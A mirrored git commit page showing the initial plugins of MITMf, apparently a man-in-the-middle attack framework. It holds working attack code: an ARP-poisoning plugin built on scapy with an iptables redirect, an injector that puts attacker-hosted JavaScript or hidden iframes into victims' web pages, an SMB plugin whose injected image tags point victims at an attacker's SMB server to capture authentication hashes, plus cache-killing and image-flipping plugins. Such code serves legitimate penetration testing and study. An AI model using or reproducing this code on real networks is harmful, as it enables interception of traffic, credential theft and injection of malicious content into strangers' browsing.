mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
initial commit
This commit is contained in:
parent
fbf31c220a
commit
6fa335183c
37 changed files with 2698 additions and 0 deletions
109
plugins/ArpSpoof.py
Normal file
109
plugins/ArpSpoof.py
Normal file
|
@ -0,0 +1,109 @@
|
|||
|
||||
from plugins.plugin import Plugin
|
||||
from time import sleep
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
import os, sys, threading
|
||||
|
||||
class ArpSpoof(Plugin):
|
||||
name = "ARP Spoof"
|
||||
optname = "arpspoof"
|
||||
desc = 'Redirect traffic using arp-spoofing'
|
||||
implements = []
|
||||
has_opts = True
|
||||
log_level = logging.DEBUG
|
||||
|
||||
def initialize(self,options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.interface = options.interface
|
||||
self.routerip = options.routerip
|
||||
self.summary = options.summary
|
||||
self.target = options.target
|
||||
self.mode = options.mode
|
||||
self.setup = options.setup
|
||||
self.mac = get_if_hwaddr(self.interface)
|
||||
self.port = self.options.listen
|
||||
self.send = True
|
||||
|
||||
if os.geteuid() != 0:
|
||||
sys.exit("[-] %s plugin requires root privileges" % self.name)
|
||||
|
||||
if self.interface == None or self.routerip == None:
|
||||
sys.exit("[-] %s plugin requires --routerip and --interface" % self.name)
|
||||
|
||||
print "[*] ArpSpoof plugin online"
|
||||
if self.setup == True:
|
||||
print '[*] Setting up ip_forward and iptables'
|
||||
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
|
||||
file.write('1')
|
||||
file.close()
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
||||
|
||||
if self.mode == 'req':
|
||||
pkt = self.build_req()
|
||||
elif self.mode == 'rep':
|
||||
pkt = self.build_rep()
|
||||
|
||||
if self.summary == True:
|
||||
pkt.show()
|
||||
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
|
||||
if ans == 'y' or len(ans) == 0:
|
||||
pass
|
||||
else:
|
||||
sys.exit(0)
|
||||
|
||||
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def send_packets(self,pkt,interface):
|
||||
while self.send == True:
|
||||
sendp(pkt, inter=2, iface=interface)
|
||||
|
||||
def build_req(self):
|
||||
if self.target == None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, pdst=self.routerip)
|
||||
elif self.target:
|
||||
target_mac = getmacbyip(self.target)
|
||||
if target_mac == None:
|
||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||
|
||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target)
|
||||
|
||||
return pkt
|
||||
|
||||
def build_rep(self):
|
||||
if self.target == None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, op=2)
|
||||
elif self.target:
|
||||
target_mac = getmacbyip(self.target)
|
||||
if target_mac == None:
|
||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||
|
||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target, op=2)
|
||||
|
||||
return pkt
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument('--iface', dest='interface', help='Specify the interface to use')
|
||||
options.add_argument('--routerip', dest='routerip', help='Specify the router IP')
|
||||
options.add_argument('--target', dest='target', help='Specify a particular host to ARP poison [default: subnet]')
|
||||
options.add_argument('--mode', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: req]')
|
||||
options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
||||
options.add_argument('--setup', action='store_true', dest='setup', default=True, help='Setup ip_forward and iptables [default: True]')
|
||||
|
||||
def finish(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
print '\n[*] Resetting ip_forward and iptables'
|
||||
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
|
||||
file.write('0')
|
||||
file.close()
|
||||
os.system('iptables -t nat -F && iptables -t nat -X')
|
||||
print '[*] Re-arping network'
|
||||
rearp_mac = getmacbyip(self.routerip)
|
||||
pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.routerip, hwsrc=self.mac, op=2)
|
||||
sendp(pkt, inter=1, count=5, iface=self.interface)
|
||||
sys.exit(0)
|
103
plugins/BrowserProfilerer.py
Normal file
103
plugins/BrowserProfilerer.py
Normal file
File diff suppressed because one or more lines are too long
24
plugins/CacheKill.py
Normal file
24
plugins/CacheKill.py
Normal file
|
@ -0,0 +1,24 @@
|
|||
from plugins.plugin import Plugin
|
||||
|
||||
class CacheKill(Plugin):
|
||||
name = "CacheKill Plugin"
|
||||
optname = "cachekill"
|
||||
desc = "Kills page caching by modifying headers"
|
||||
implements = ["handleHeader","connectionMade"]
|
||||
has_opts = True
|
||||
bad_headers = ['if-none-match','if-modified-since']
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
'''Handles all response headers'''
|
||||
request.client.headers['Expires'] = "0"
|
||||
request.client.headers['Cache-Control'] = "no-cache"
|
||||
|
||||
def connectionMade(self,request):
|
||||
'''Handles outgoing request'''
|
||||
request.headers['Pragma'] = 'no-cache'
|
||||
for h in self.bad_headers:
|
||||
if h in request.headers:
|
||||
request.headers[h] = ""
|
116
plugins/Inject.py
Normal file
116
plugins/Inject.py
Normal file
|
@ -0,0 +1,116 @@
|
|||
import os,subprocess,logging,time,re
|
||||
import argparse
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
|
||||
class Inject(CacheKill,Plugin):
|
||||
name = "Inject"
|
||||
optname = "inject"
|
||||
implements = ["handleResponse","handleHeader","connectionMade"]
|
||||
has_opts = True
|
||||
log_level = logging.DEBUG
|
||||
desc = "Inject arbitrary content into HTML content"
|
||||
|
||||
def initialize(self,options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.html_src = options.html_url
|
||||
self.js_src = options.js_url
|
||||
self.rate_limit = options.rate_limit
|
||||
self.count_limit = options.count_limit
|
||||
self.per_domain = options.per_domain
|
||||
self.match_str = options.match_str
|
||||
self.html_payload = options.html_payload
|
||||
|
||||
if self.options.preserve_cache:
|
||||
self.implements.remove("handleHeader")
|
||||
self.implements.remove("connectionMade")
|
||||
|
||||
if options.html_file != None:
|
||||
self.html_payload += options.html_file.read()
|
||||
|
||||
self.ctable = {}
|
||||
self.dtable = {}
|
||||
self.count = 0
|
||||
self.mime = "text/html"
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
#We throttle to only inject once every two seconds per client
|
||||
#If you have MSF on another host, you may need to check prior to injection
|
||||
#print "http://" + request.client.getRequestHostname() + request.uri
|
||||
ip,hn,mime = self._get_req_info(request)
|
||||
if self._should_inject(ip,hn,mime) and \
|
||||
(not self.js_src==self.html_src==None or not self.html_payload==""):
|
||||
|
||||
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
self.count+=1
|
||||
logging.info("Injected malicious html.")
|
||||
return {'request':request,'data':data}
|
||||
else:
|
||||
return
|
||||
|
||||
def _get_payload(self):
|
||||
return self._get_js()+self._get_iframe()+self.html_payload
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
||||
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
|
||||
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
|
||||
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
|
||||
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
|
||||
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
|
||||
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
|
||||
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
|
||||
|
||||
def _should_inject(self,ip,hn,mime):
|
||||
if self.count_limit==self.rate_limit==None and not self.per_domain:
|
||||
return True
|
||||
if self.count_limit != None and self.count > self.count_limit:
|
||||
#print "1"
|
||||
return False
|
||||
if self.rate_limit != None:
|
||||
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
|
||||
return False
|
||||
if self.per_domain:
|
||||
return not ip+hn in self.dtable
|
||||
#print mime
|
||||
return mime.find(self.mime)!=-1
|
||||
|
||||
def _get_req_info(self,request):
|
||||
ip = request.client.getClientIP()
|
||||
hn = request.client.getRequestHostname()
|
||||
mime = request.client.headers['Content-Type']
|
||||
return (ip,hn,mime)
|
||||
|
||||
def _get_iframe(self):
|
||||
if self.html_src != None:
|
||||
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
|
||||
return ''
|
||||
|
||||
def _get_js(self):
|
||||
if self.js_src != None:
|
||||
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
|
||||
return ''
|
||||
|
||||
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
|
||||
'''
|
||||
To use this function, simply pass a list of tuples of the form:
|
||||
|
||||
(string/regex_to_match,html_to_inject)
|
||||
|
||||
NOTE: Matching will be case insensitive unless differnt flags are given
|
||||
|
||||
The pre array will have the match in front of your injected code, the post
|
||||
will put the match behind it.
|
||||
'''
|
||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
|
||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
|
||||
|
||||
for i,r in enumerate(pre_regexes):
|
||||
data=re.sub(r,"\g<match>"+pre[i][1],data)
|
||||
for i,r in enumerate(post_regexes):
|
||||
data=re.sub(r,post[i][1]+"\g<match>",data)
|
||||
return data
|
21
plugins/SMBAuth.py
Normal file
21
plugins/SMBAuth.py
Normal file
|
@ -0,0 +1,21 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
class SMBAuth(Inject,Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
|
||||
def initialize(self,options):
|
||||
Inject.initialize(self,options)
|
||||
self.target_ip = options.ip
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
|
||||
% tuple([self.target_ip]*3)
|
47
plugins/Upsidedownternet.py
Normal file
47
plugins/Upsidedownternet.py
Normal file
|
@ -0,0 +1,47 @@
|
|||
import logging
|
||||
from cStringIO import StringIO
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
name = "Upsidedownternet"
|
||||
optname = "upsidedownternet"
|
||||
desc = 'Flips images 180 degrees'
|
||||
has_opts = False
|
||||
implements = ["handleResponse","handleHeader"]
|
||||
|
||||
def initialize(self,options):
|
||||
from PIL import Image,ImageFile
|
||||
globals()['Image'] = Image
|
||||
globals()['ImageFile'] = ImageFile
|
||||
self.options = options
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
request.imageType = value.split("/")[1].upper()
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
try:
|
||||
isImage = getattr(request,'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
image_type=request.imageType
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im=im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output,format=image_type)
|
||||
data=output.getvalue()
|
||||
output.close()
|
||||
logging.info("Flipped image")
|
||||
except Exception as e:
|
||||
print "Error: %s" % e
|
||||
return {'request':request,'data':data}
|
6
plugins/__init__.py
Normal file
6
plugins/__init__.py
Normal file
|
@ -0,0 +1,6 @@
|
|||
#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
|
||||
#Has to be a cleaner way to do this, but it works for now
|
||||
import os
|
||||
import glob
|
||||
__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]
|
||||
|
40
plugins/plugin.py
Normal file
40
plugins/plugin.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
'''
|
||||
The base plugin class. This shows the various methods that
|
||||
can get called during the MITM attack.
|
||||
'''
|
||||
|
||||
class Plugin(object):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
desc = ""
|
||||
implements = []
|
||||
has_opts = False
|
||||
def __init__(self):
|
||||
'''Called on plugin instantiation. Probably don't need this'''
|
||||
pass
|
||||
def initialize(self,options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
|
||||
def add_options(options):
|
||||
'''Add your options to the options parser'''
|
||||
raise NotImplementedError
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
'''Handles all response headers'''
|
||||
raise NotImplementedError
|
||||
|
||||
def connectionMade(self,request):
|
||||
'''Handles outgoing request'''
|
||||
raise NotImplementedError
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
'''
|
||||
Handles all non-image responses by default. See Upsidedownternet
|
||||
for how to get images
|
||||
'''
|
||||
raise NotImplementedError
|
||||
|
||||
def finish(self):
|
||||
'''This will be called when shutting down'''
|
||||
pass
|
16
plugins/test.py
Normal file
16
plugins/test.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
from plugins.plugin import Plugin
|
||||
#Uncomment to use
|
||||
'''
|
||||
class Test(Plugin):
|
||||
name = "Test"
|
||||
optname = "test"
|
||||
has_opts = True
|
||||
implements = ["handleResponse"]
|
||||
def add_options(self,options):
|
||||
options.add_argument("--testy",action="store_true",
|
||||
help="This is a test option")
|
||||
def initialize(self,options):
|
||||
self.worked = options.test
|
||||
def handleResponse(self,request,data):
|
||||
print "http://" + request.client.getRequestHostname() + request.uri
|
||||
'''
|
Loading…
Add table
Add a link
Reference in a new issue